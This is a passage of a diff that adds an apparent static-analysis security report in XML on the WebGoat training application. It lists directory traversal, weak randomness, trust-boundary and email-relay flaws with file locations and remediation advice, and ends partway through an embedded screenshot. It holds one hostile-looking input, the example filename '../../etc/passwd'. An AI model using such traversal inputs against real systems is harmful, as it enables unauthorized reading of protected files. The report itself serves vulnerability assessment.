+        through obscurity&quot; rather than sound mathematics.  Select key sizes appropriate
+        for the data being protected; for high assurance applications, 256-bit symmetric
+        keys and 2048-bit asymmetric keys are sufficient.  Follow best practices for
+        key storage, and ensure that plaintext data and key material are not inadvertently
+        exposed.\"/>\n</recommendations>\n<cwe cweid=\"331\" cwename=\"Insufficient
+        Entropy\" pcirelated=\"false\" sans=\"327\">\n<description>\n<text text=\"Standard
+        random number generators do not provide a sufficient amount of entropy when
+        used for security purposes. Attackers can brute force the output of pseudorandom
+        number generators such as rand().\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Insufficient Entropy\" count=\"1\" issueid=\"173\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Math.random\" description=\"Standard
+        random number generators do not provide a sufficient amount of entropy when
+        used for security purposes. Attackers can brute force the output of pseudorandom
+        number generators such as rand().\r\n\r\nIf this random number is used where
+        security is a concern, such as generating a session key or session identifier,
+        use a trusted cryptographic random number generator instead. These can be
+        found on the Windows platform in the CryptoAPI or in an open source library
+        such as OpenSSL. In Java, use the SecureRandom object to ensure sufficient
+        entropy.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/331.html)\r\n\r\n\"
+        note=\"\" cweid=\"331\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"12\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakSessionID.java\"
+        line=\"77\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakSessionID\"
+        functionprototype=\"void &lt;clinit&gt;(void)\" functionrelativelocation=\"75\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"1\" categoryname=\"Directory Traversal\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Allowing user input to control paths used in filesystem operations
+        may enable an attacker to access or modify otherwise protected system resources
+        that would normally be inaccessible to end users.  In some cases, the user-provided
+        input may be passed directly to the filesystem operation, or it may be concatenated
+        to one or more fixed strings to construct a fully-qualified path.\"/>\n<para
+        text=\"When an application improperly cleanses special character sequences
+        in user-supplied filenames, a path traversal (or directory traversal) vulnerability
+        may occur.  For example, an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"73\" cwename=\"External Control
+        of File Name or Path\" pcirelated=\"false\" sans=\"22\" certcpp=\"877\">\n<description>\n<text
+        text=\"This call contains a path manipulation flaw.  The argument to the function
+        is a filename constructed using user-supplied input.  If an attacker is allowed
+        to specify all or part of the filename, it may be possible to gain unauthorized
+        access to files on the server, including those outside the webroot, that would
+        be normally be inaccessible to end users.  The level of exposure depends on
+        the effectiveness of input validation routines, if any.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"238\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The second argument to !operator_javanewinit()
+        contains tainted data from the variable helpFile. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CommandInjection.java\"
+        line=\"171\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.CommandInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"252\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The second argument to !operator_javanewinit()
+        contains tainted data from the variable helpFile. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CommandInjection.java\"
+        line=\"180\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.CommandInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"9\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.FileInputStream.!operator_javanewinit\"
+        description=\"This call to java.io.FileInputStream.!operator_javanewinit()
+        contains a path manipulation flaw. The argument to the function is a filename
+        constructed using user-supplied input. If an attacker is allowed to specify
+        all or part of the filename, it may be possible to gain unauthorized access
+        to files on the server, including those outside the webroot, that would be
+        normally be inaccessible to end users. The level of exposure depends on the
+        effectiveness of input validation routines, if any. The first argument to
+        !operator_javanewinit() contains tainted data from the variable fileName.
+        The tainted data originated from earlier calls to javax.servlet.http.HttpServletRequest.getHeader,
+        javax.servlet.ServletRequest.getParameterValues, javax.servlet.http.HttpServletRequest.getCookies,
+        and javax.servlet.ServletRequest.getParameterNames.\r\n\r\nValidate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible. When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/73.html)
+        \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\" note=\"\"
+        cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"LessonTracker.java\"
+        line=\"238\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.LessonTracker\"
+        functionprototype=\"LessonTracker load(WebSession, java.lang.String, Screen)\"
+        functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"39\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The first argument to !operator_javanewinit()
+        contains tainted data from the variable file. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"PathBasedAccessControl.java\"
+        line=\"136\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.PathBasedAccessControl\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"22\" categoryname=\"Encapsulation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Encapsulation is about defining strong security boundaries governing
+        data and processes. Within an application, it might mean differentiation between
+        validated and unvalidated data, between public and private members, or between
+        one user's data and another's.  \"/>\n<para text=\"In object-oriented programming,
+        the term encapsulation is used to describe the grouping together of data and
+        functionality within an object and the ability to provide users with a well-defined
+        interface in a way which hides their internal workings.  Though there is some
+        overlap with the above definition, the two definitions should not be confused
+        as being interchangeable.\"/>\n</desc>\n<recommendations>\n<para text=\"The
+        wide variance of encapsulation issues makes it impractical to generalize how
+        these issues should be addressed, beyond stating that encapsulation boundaries
+        should be well-defined and adhered to.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"501\" cwename=\"Trust
+        Boundary Violation\" pcirelated=\"false\">\n<description>\n<text text=\"A
+        trust boundary violation occurs when a program blurs the line between what
+        is trusted and what is untrusted.  This application mixes trusted and untrusted
+        data in the same data structure.  By doing so, it becomes easier for programmers
+        to mistakenly trust unvalidated data.  Without well-established and maintained
+        trust boundaries, programmers will inevitably lose track of which pieces of
+        data have been validated and which have not. This confusion will eventually
+        allow some data to be used without first being validated.  A common manifestation
+        of this flaw is in J2EE application, when a Session object is used to store
+        untrusted data from the HTTP request.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Trust Boundary Violation\" count=\"1\" issueid=\"246\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"javax.servlet.http.HttpSession.setAttribute\"
+        description=\"This call to javax.servlet.http.HttpSession.setAttribute() mixes
+        trusted and untrusted data in the same data structure, thereby encouraging
+        programmers to mistakenly trust unvalidated data. The second argument to setAttribute()
+        contains tainted data from the variable value. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        storing untrusted data alongside trusted data in the same data structure.
+        Establish and maintain trust boundaries for data storage.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/501.html)\r\n\r\n\" note=\"\"
+        cweid=\"501\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"22\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DefaultLessonAction.java\"
+        line=\"89\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DefaultLessonAction\"
+        functionprototype=\"void setSessionAttribute(session.WebSession, java.lang.String,
+        java.lang.Object)\" functionrelativelocation=\"64\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"25\" categoryname=\"Insufficient Input Validation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Weaknesses in this category are related to an absent or incorrect protection
+        mechanism that fails to properly validate input that can affect the control
+        flow or data flow of a program.\"/>\n</desc>\n<recommendations>\n<para text=\"Validate
+        input from untrusted sources before it is used. The untrusted data sources
+        may include HTTP requests, file systems, databases, and any external systems
+        that provide data to the application. In the case of HTTP requests, validate
+        all parts of the request, including headers, form fields, cookies, and URL
+        components that are used to transfer information from the browser to the server
+        side application.\"/>\n<para text=\"Duplicate any client-side checks on the
+        server side. This should be simple to implement in terms of time and difficulty,
+        and will greatly reduce the likelihood of insecure parameter values being
+        used in the application.\"/>\n</recommendations>\n<cwe cweid=\"472\" cwename=\"External
+        Control of Assumed-Immutable Web Parameter\" pcirelated=\"false\">\n<description>\n<text
+        text=\"The web application does not sufficiently verify inputs that are assumed
+        to be immutable but are actually externally controllable, such as hidden form
+        fields. Ruby on Rails provides convenient methods (new, create, create!, update_attributes,
+        update_attributes!) for easily creating or updating instances of an application's
+        model. Multiple attributes can be updated at once with the key/value pairs
+        of a hash. If this hash is created using data under an attackers control,
+        such as the result of an HTML form submission, additional values may be included
+        beyond those intended. If those additional keys match the names of attributes
+        on the model, they may be updated as well.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"3\" categoryname=\"External Control of Assumed-Immutable Web Parameter\"
+        count=\"1\" issueid=\"274\" module=\"manual_analysis\" type=\"\" description=\"The
+        application send emails on behalf of the user. The contents of the message
+        and the delivery address are controllable by the client. \" note=\"\" cweid=\"472\"
+        remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"25\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=1706623184&amp;menu=1700\"
+        cvss=\"5\" capecid=\"6\" exploitdifficulty=\"2\" inputvector=\"to, subject,
+        msg\">\n<exploit_desc>An attacker could utilize this email to send SPAM messages
+        resulting in the SMPT relay to become untrusted among email service providers.
+        A sophisticated attacker could utilize this to conduct spear phising attacks.
+        The phising email could include links to pages within the application that
+        are vulnerable to open redirect or cross-site scripting, making the attack
+        extremely difficult for a user to detect.</exploit_desc>\n<severity_desc>Due
+        to other vulnerabilities within the application that would allow for a sophisticated
+        spear phising attack, the issue becomes more severe. A security aware user
+        could easily be tricked by the spear phising links since they would start
+        with the correct domain name.</severity_desc>\n<remediation_desc>Only send
+        emails to predetermined delivery addresses that are associated with the application
+        or with the current user. Do not allow the client to set the subject or other
+        smtp headers. Escape all client input with the same mechanisms used to escape
+        tainted data before display within an HTML context.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>iVBORw0KGgoAAAANSUhEUgAAAl4AAAHgCAYAAAB0CWMeAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAGIVSURBVHhe7Z2vtx3HsbYFP3hhqKGhYeiFgYGm/hMCQwMDLwwNNDQUDRQMNBUUNDyft+yxR+2qeqt6emZ6Zh6tdZak3b+qnqrueqf3Pue8e+MPBCAAAQhAAAIQgMAhBN4dscq33377xhcMyAFygBwgB8gBcmCvHHj//v0RkmbzGocIrxcMvmBADpAD5AA5QA6QA3vmwGZVdMAEhwivA/xgCQhAAAIQgAAEIDA9AYTX9CHCQAhAAAIQgAAE7kIA4XWXSOIHBCAAAQhAAALTE0B4TR8iDIQABCAAAQhA4C4EEF53iSR+QAACEIAABCAwPQGE1/QhwkAIQAACEIAABO5CAOF1l0jiBwQgAAEIQAAC0xNAeE0fIgyEAAQgAAEIQOAuBBBed4kkfkAAAhCAAAQgMD0BhNf0IcJACEAAAhCAAATuQgDhdZdI4gcEIAABCEAAAtMTQHhNHyIMhAAEIAABCEDgLgQQXneJJH5AAAIQgAAEIDA9AYTX9CHCQAhAAAIQgAAE7kIA4XWXSOIHBCAAAQhAAALTE0B4TR8iDIQABCAAAQhA4C4EEF53iSR+QAACEIAABCAwPQGE1/QhwkAIQAACEIAABO5CAOF1l0jiBwQgAAEIQAAC0xNAeE0fIgyEAAQgAAEIQOAuBBBed4kkfkAAAhCAAAQgMD0BhNegEL179+7t9cUfCEAAAhCAAAQg4BG4tVJYxNARoiizRmtPK9TaOdT/l6Cu57UCHXFQNs28dY6M79EcMvl0tE2sBwEIQAAC2wncVnhZhWvPGylVKD171jYpoeWtEQkvxUGtuT3F9plB+bXPqsfNqvLpOEtYCQIQgAAERhJ4lPBqwW29CarcFu0lvNbzZtbwGLS3Z+4VafOWarRmxp5I+EXiIyNMeuLriVgv1hnRm2FkCXBr7jvf8o082JgLAhCAwKwEbi+8VCH1BIe6CVLtSuC82pUwUaKqnaNa4C0blKBRfo9qjwSNx27NfJQde+VH1b6Mz7MeMtgFAQhAAAK/E7it8FoXqszNQbUQqv5bhZd1w7K+FbEEgSeavNsaxUjdeinhmBF2VY6jbubUuqPavRuq6vxWrDjIIAABCEDgegRuLbwqNyBKKPUUymh9dePlvfVkzRkJq6pfmRSO3u6qclL9lfjLtqt19m6vxiErojPxog8EIAABCMxD4LbCq70dUoV1EULejYoaX32LzhNemVui6NbHsnOLAM0Km1HcFEfl+152VOPv3Qb22qeE2zxHCpZAAAIQgEBE4LbCay1gem4PVKG15rfeCrREz/rGyApOZm1PuEVv/2XeGsxul0ggRTdiiltWeO0dXxUD1a7sq45X82XjRj8IQAACEDiXwK2F17lo77t6RRzdlwKeQQACEIAABOoEEF51Zo8fgfB6fAoAAAIQgAAEOgkgvDrBMQwCEIAABCAAAQhUCSC8qsToDwEIQAACEIAABDoJILw6wTEMAhCAAAQgAAEIVAkgvKrE6A8BCEAAAhCAAAQ6CSC8OsExDAIQgAAEIAABCFQJILyqxOgPAQhAAAIQgAAEOgkgvDrBMQwCEIAABCAAAQhUCSC8qsToDwEIQAACEIAABDoJILw6wTEMAhCAAAQgAAEIVAkgvKrE6A8BCEAAAhCAAAQ6CSC8OsExDAIQgAAEIAABCFQJILyqxOgPAQhAAAIQgAAEOgkgvDrBMQwCEIAABCAAAQhUCSC8qsToDwEIQAACEIAABDoJILw6wTEMAhCAAAQgAAEIVAkgvKrE6A8BCEAAAhCAAAQ6CSC8OsExDAIQgAAEIAABCFQJILyqxOgPAQhAAAIQgAAEOgkgvDrBMQwCEIAABCAAAQhUCdxeeH3zzTdv7VcVUqb/skamb7VPdm6vX3Z81S76QwACEIAABCBQI3Br4WUJjr1EyF7zvsKZnRvhVUt+ekMAAmMIfPOXv76tv0bM+ppvyx9v/GJnZu7RPmXWbPus/ajY3rMWY44hcFvhVREh6lZsPde67xKi7HhrrJpDzb1Ok5E+H5N+rAIBCFydQCsGRoiDrXNE47NzZ/vtGb8ZbNjTv6fO/Tjh9YeniV/fiowETCS2WuGUSaRWIKmbudE3Xtn5Mr7QBwIQeC6BjDDwbsPa15ebnUz/L87r1W3b63V1+7a2eYsN1k2Umjuyrb1ds/p6Ile9zq3ZXHsU4VUQXhlxZoXXurV6vZYVbVmhlL3xim7e5kpPrIEABGYmoIRXdBtWbfvtvPxVaK1FVvTvPzxsO+PVHBV727nU/z1hVFnTEn2K2cy5dWfbEF47Cy91m/V5Qxo2RCLPS8is8Fqvqda+c/LjGwQgsI3AUcLLu8ny1s++1dgrbJRIU0Irau8VUNlx2yLO6BEEHie8qm/zecIoM8/Wsb89rQhhpvpF4orbrxHbiDkg8EwCRwkvT1TcRXhl/cuKq0hQPjNT5/L6tsJri+jJiKpMn1E2ZG+lKjdePTdqc6Uu1kAAAjMQ6L01GjEuK1i+OO8mfatxebtxhLiqsJ0hh55mw62F11r49HxHYXSTFL2FuP78lmdDpo8ljtpxbcKqz5NlmTxtI+AvBCDQTyD7ofHoQ97qlsZbY/26J7BGCK/PZ6fzYzOsm7esP7/VmcTc3pyVtdQtZX8WMDJL4PbCKwuCfhCAAAQgAAEIQGBvAgivvQkzPwQgAAEIQAACEPiVAMKLVIAABCAAAQhAAAIHEUB4HQSaZSAAAQhAAAIQgADCixyAAAQgAAEIQAACBxFAeB0EmmUgAAEIQAACEIAAwuugHHj3DtQHoWYZgwD5d5+0IJb3iSWePJPAbdVAezip/+8dfg7LvQnX5h8Rj9cc3lfNmv17Z/xd+9JapPaPNf8yn+Vdy23dJ2rbn9R8K2Rid7bV1j6wYrq81uaGlytRTr7mquTRFTieHUfWP4YAwusYzp8PCP7MQ2B0PEbPN5qUsq8qrFT/dVFUIm7puy7KbdEezeNK86nYne2LJZqUsFLtrUDLCvt1v+waZ/Nj/ecRuLUaWDah97f3lB2lgSo43hNaeyBEhUU95WULVMYWr+hFtxXtk2aGo/VkGtnXtkVMKvNET8lZ7lZ+eMWxMmfGD491VJgyscz4VN1P2TxVwiwSHiP244g9MGp/R3nf8lfixNpzmb1aLYN7Ca/1vJk1rDyKhFjVT/pDYBQBhNfPJNXhrUSSFwzvMI7Wq9iyLhhqXLYwqCLdFqmsDaPs84qkVeRHclYbzhM+Ue5k2np9ULy3rO0JMG/OSBRWBJ/aZ8rnI/ZAtD+qbRnhOio/VH5H7VlR5Akp78zJCq9WrLaC1Pv/Fp8ZC4EtBBBevwov9XRoFZWooLSHSfXQ9w6TNthtERx9WGcK49Y1K2LK6uvFrlqUrHhmN9cI4ZXJp0oeZcSVJQZUPEcIr6gYVvbi2v6RwkvFvZpbrb/W/o4ESFbUVvJjS7639lg8vNfa+PYKryX20f6v5pKKO+0QGEEA4fWr8KrA3Cp2Koe2smurLUr0XEF4eYx6OHtFIBuHSOxkCl0k2D3RbQklJUIyosybQwmvbGHNiokse+VzRZRk16yyH5EDvX5Ewl75G7VbeyZ6rbVf9c2KJ2vvZHhv8Z2xEOghcGvh1YoK6//ZPqroqXlGHpYjbRkhvDLib1RRVPb2ch4hmFRcskWg14fsuIyY9mxVcczsMU8AWCIme6ipObfkTZVXRfBnOPfOl4mVF68s92W8tVZG6FmiKzunWtObu+IbfSGwBwGE169U109VGdDRgWnN5R0S6mlvlC2WKMjY6a3v8Ypez4obVTAiltk12sM9in9GMGXyIYqlWt/LE+VvJa8zfVVsMsJrzT7j1xX2wIj9nckBi2/PnsvEOsN9LZbXc6r90I7zzqc2v3s4V/ygLwSOIHB74XUExLPXyAiDs21kfQjsSeDsPXD2+nuyZW4IQGAsAYTXWJ6Hz8aBfzhyFpyMwAx7YAYbJgsL5kAAAg4BhBepAQEIQAACEIAABA4igPA6CDTLQAACEIAABCAAAYQXOTA1gfVbOEe8nXPEGhXgs9lTsT3Td5R/o+bJ2EyfexGIzhjrmz96vR+ZoyPn6vWHcf0EEF797KYfeYfNubcPme/S6wm0mjfrV6Zf5rvJqj6odVV7dr3Z5snaPbrfKA6j7crOp75L0vKvzdtWAFXzutrf8m3PB70oxlXbr54v2by6az+E110j+7Nfd9ice/ugBFJveqh5s36pfl5B67V7Gdezbs+aap3snKPmya43ut+V7Y9yXQmyNcctomfUPthig8oJJbw8FkogqnVpn4/ArYWXt+mXDbC0e2GJxltjraeWzBytPd4hkl3z5Y/3BJU5CD0+0VhvvdYW63Bp/YpsXwuDXnuiOSI/Il+iw3HNc5mj7V/Jk6w4svzMrFth0BYqb0+pvZg5GlWOtblVtUXlqjovFO/MnszwzJ5fGaYj+rTnlXd+RWtl5ojOaeVHNH/LvOf8zJyZFhdvL6saEM2lWNB+PoHbCi+10VTieuPVvJawsDaXOmisw6A6j1pDCc5RvnjzWIUsyzfbzxM62QMvG4ctwqvXF5XDlu/Zw1/NrXIry02t05ODyrYoH6M4ZgTvqFiqeSrc9i4zGd7KXmuO5Xyojq3G0MtV5Vc7rtLfegDK5ro60/aON/NvJ/BY4aXQeZtdHYjZzVPZpOsDqBUrVXvUIeZt6l4b1NNj5QDqLeZZsaGESsRgq/Bq584Iw6hYZcZXY5PN7ZZjJUejfZmdR8UpYm3lipqv5TI6lmrPq7PsiHbP5x6xmhFOKhcVs4zYqp7RlbPM6hsJTWXLETFmjXEEEF4Oy9mElxfybDGyikN2TvWEVbEhEk8Z4ZMRFJVDSvVV9maEwjJH+3dPUcrYM0KgKoG+hVvGh0zxzRTPnmKoinYm5lvsr+63ceVgzEyeeK2cNypukfCy9lX2jMrunTZGGZ+jPaX2hNpvYyLHLEcRQHglhVemaKrNMWpTZ+fJbvTMIZc9uNSBtOWA6fW7wqHXz2xRqR7QlZzaUnBU3FSO9HJT/kUFNiu8snnjrbWHjYp3hedRxSKzjrfXtr5efRCo8O3JIzW/JZ5HnUNKmGfiRJ9zCdxWeC3J2T69VpJ2GWsdgpl5K4enOtwjW1RxWotGy25VVNcF3Ru/ti/ipYRXG7cth6LHzPJ3zSjDUxUCSwRFuZfJtah4Rb5m27y4RaKyjU8mPxRftV5272Vs2Wq/ZeuIvTri/DqytGRZq3OuzY3MeWWdT9Ze8c6o7BnTE5PoXIz2gSfcsmfakbFnrTqBWwuvOg5GjCCQFSUj1srMMZs9GZuf2ieKFXF8albgNwTuRQDhda94nubNbE9is9lzWmAutLASVqr9Qq5iKgQg8GACCK8HBx/XIQABCEAAAhA4lgDC61jet16t90aid9xomKPsqMxT+QzLaH+9+Sr2H2XTTOuc9XZo5bNIC6/ZYzm7fTPlHbbchwDC6z6xHOZJ72F49Liqw+0HXdu3I3vtr9oxW1E82u9eXlcYdxRLT4S1jI60Z+vb+1ttjdbvbbtCzmHj9QggvK4Xs90t7j0Ajx63BYRla6/9vXYcvR43XL2Ryo87KqYzCa9Re2kLu3ZsxCfblo86PSFQI3Bb4RVtxBci7wkos4GXsVEhs/pEa1q3L2qOxdaep7n1mPYgsubLPM16c65veDyf1iwzsckWnorY6LU/umUYxbmNdZvDvblg2WftgWwuZnlX1mhzI7PvvH3c+pHJtYW1d1MZ5U1m30Tze3mezf9ROR2VlZa1unWzbM/sk0ppi/hk2yrr0RcCFQK3FV7rw8w7hK2DNOprFZ/sIaPmjYpL5aDI9t1iT09xza7X008d/Ja91pjs2m2hVMLLi201Lyv9j7BR2eNxUeOyOZzde2uROmKfZe1TfmbyYoTwyqyj8kUVlehszO4rxSuzzy07sutvZaAY0Q6B3zTHnVEsG66yoSubNFvQrQ2dPbzbsVVfloOoPZAqfmYEZ8bHjC0Zu9q4Zg5kVaS32H+U8FI+ZHJjHQPrwaOSb2q92YRXL79MTlos23yP8tTL6b2Fl7cne+vCFuFjce61L3u+VnO4lwvjIPDFA9CdcSC8/AvNSjFZF5VM8fCKkJdr1UPyLOGV3StVf3oEkBKKowRUJU+UAB69HytCyrJNFd2MvRU+Uf6cJbyyOV3t17MHVDwqNvSsb+2pypr0hUCWwK3favQ2UuWwjDawBdmbu3fNSgGt9K3Y84VSfzdGzGWe5KviwhMwmTiptSpFYdShr3JP2TTCjkqeKOE1ej/uLbwy9o7k0xvPUQ9Dmfj17KUso4r/W2Kf3RfZIko/CFQJPFJ4LQfqawN6T8JLmyp+3kFkzW3NqQp+RUx5c3m2RIJqPcaz2zr8or4V/6PYKCGYKSBe3DNM1PzZg13lXtXPTOGKYrCMt+bpyaFske7dj5X882KmcjubJ4qrypkt54ASXj17slxIfj1Lt56p7XgVn3aPZNaP8qbqN/0h0EPgscKrBxZjIACBbQQyAqR3hT3n7rWJcRCAAAT+IPbvjISD+M7RxberEdh7P+49/9V4Yy8EIDAngdvfeM2JHasgAAEIQAACEHgiAYTXE6OOzxCAAAQgAAEInELgtsLriLcdog9RZ6N5hJ1ZW6J+I3wdYcfsc1wlnh5H4jx7ht3Pvj32jPqGg/tRxKMrEUB4bYjWiCK1x6GzwSV36N527j1/L5P1d1XNaqPlW6/dV/KxN6aM24f